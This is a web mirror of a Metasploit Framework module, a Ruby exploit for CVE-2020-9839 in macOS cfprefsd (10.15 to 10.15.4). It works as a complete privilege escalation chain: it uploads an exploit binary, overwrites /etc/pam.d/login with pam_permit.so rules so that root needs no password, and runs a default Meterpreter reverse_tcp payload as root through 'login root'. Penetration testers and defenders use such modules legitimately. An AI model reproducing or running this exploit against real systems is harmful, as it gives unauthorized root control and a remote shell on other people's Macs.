CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/local/cfprefsd_race_condition.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
prepend Msf::Exploit::Remote::AutoCheck
10
include Msf::Post::File
11
include Msf::Post::OSX::Priv
12
include Msf::Post::OSX::System
13
include Msf::Exploit::EXE
14
include Msf::Exploit::FileDropper
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'macOS cfprefsd Arbitrary File Write Local Privilege Escalation',
21
'Description' => %q{
22
This module exploits an arbitrary file write in cfprefsd on macOS <= 10.15.4 in
23
order to run a payload as root. The CFPreferencesSetAppValue function, which is
24
reachable from most unsandboxed processes, can be exploited with a race condition
25
in order to overwrite an arbitrary file as root. By overwriting /etc/pam.d/login
26
a user can then login as root with the `login root` command without a password.
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [
30
'Yonghwi Jin <jinmoteam[at]gmail.com>', # pwn2own2020
31
'Jungwon Lim <setuid0[at]protonmail.com>', # pwn2own2020
32
'Insu Yun <insu[at]gatech.edu>', # pwn2own2020
33
'Taesoo Kim <taesoo[at]gatech.edu>', # pwn2own2020
34
'timwr' # metasploit integration
35
],
36
'References' => [
37
['CVE', '2020-9839'],
38
['URL', 'https://github.com/sslab-gatech/pwn2own2020'],
39
],
40
'Platform' => 'osx',
41
'Arch' => ARCH_X64,
42
'DefaultTarget' => 0,
43
'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
44
'Targets' => [
45
[ 'Mac OS X x64 (Native Payload)', {} ],
46
],
47
'DisclosureDate' => '2020-03-18',
48
'Notes' => {
49
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES],
50
'Reliability' => [REPEATABLE_SESSION],
51
'Stability' => [CRASH_SAFE]
52
},
53
'Compat' => {
54
'Meterpreter' => {
55
'Commands' => %w[
56
stdapi_sys_process_execute
57
]
58
}
59
}
60
)
61
)
62
register_advanced_options [
63
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
64
]
65
end
66
67
# rubocop:disable Style/ClassVars
68
@@target_file = '/etc/pam.d/login'
69
@@original_content = %q{# login: auth account password session
70
auth optional pam_krb5.so use_kcminit
71
auth optional pam_ntlm.so try_first_pass
72
auth optional pam_mount.so try_first_pass
73
auth required pam_opendirectory.so try_first_pass
74
account required pam_nologin.so
75
account required pam_opendirectory.so
76
password required pam_opendirectory.so
77
session required pam_launchd.so
78
session required pam_uwtmp.so
79
session optional pam_mount.so
80
}
81
@@replacement_content = %q{# login: auth account password session
82
auth optional pam_permit.so
83
auth optional pam_permit.so
84
auth optional pam_permit.so
85
auth required pam_permit.so
86
account required pam_permit.so
87
account required pam_permit.so
88
password required pam_permit.so
89
session required pam_permit.so
90
session required pam_permit.so
91
session optional pam_permit.so
92
}
93
# rubocop:enable Style/ClassVars
94
95
def check
96
version = Rex::Version.new(get_system_version)
97
if version > Rex::Version.new('10.15.4')
98
CheckCode::Safe
99
elsif version < Rex::Version.new('10.15')
100
CheckCode::Safe
101
else
102
CheckCode::Appears
103
end
104
end
105
106
def exploit
107
if is_root?
108
fail_with Failure::BadConfig, 'Session already has root privileges'
109
end
110
111
unless writable? datastore['WritableDir']
112
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
113
end
114
115
payload_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
116
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
117
upload_and_chmodx payload_file, binary_payload
118
register_file_for_cleanup payload_file
119
120
current_content = read_file(@@target_file)
121
@restore_content = current_content
122
123
if current_content == @@replacement_content
124
print_warning("The contents of #{@@target_file} was already replaced")
125
elsif current_content != @@original_content
126
print_warning("The contents of #{@@target_file} did not match the expected contents")
127
@restore_content = nil
128
end
129
130
exploit_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
131
exploit_exe = exploit_data 'CVE-2020-9839', 'exploit'
132
upload_and_chmodx exploit_file, exploit_exe
133
register_file_for_cleanup exploit_file
134
135
exploit_cmd = "#{exploit_file} #{@@target_file}"
136
print_status("Executing exploit '#{exploit_cmd}'")
137
result = cmd_exec(exploit_cmd)
138
print_status("Exploit result:\n#{result}")
139
unless write_file(@@target_file, @@replacement_content)
140
print_error("#{@@target_file} could not be written")
141
end
142
143
login_cmd = "echo '#{payload_file} & disown' | login root"
144
print_status("Running cmd:\n#{login_cmd}")
145
result = cmd_exec(login_cmd)
146
unless result.blank?
147
print_status("Command output:\n#{result}")
148
end
149
end
150
151
def new_session_cmd(session, cmd)
152
if session.type.eql? 'meterpreter'
153
session.sys.process.execute '/bin/bash', "-c '#{cmd}'"
154
else
155
session.shell_command_token cmd
156
end
157
end
158
159
def on_new_session(session)
160
return super unless @restore_content
161
162
if write_file(@@target_file, @restore_content)
163
new_session_cmd(session, "chgrp wheel #{@@target_file}")
164
new_session_cmd(session, "chown root #{@@target_file}")
165
new_session_cmd(session, "chmod 644 #{@@target_file}")
166
print_good("#{@@target_file} was restored")
167
else
168
print_error("#{@@target_file} could not be restored!")
169
end
170
super
171
end
172
173
end
174
175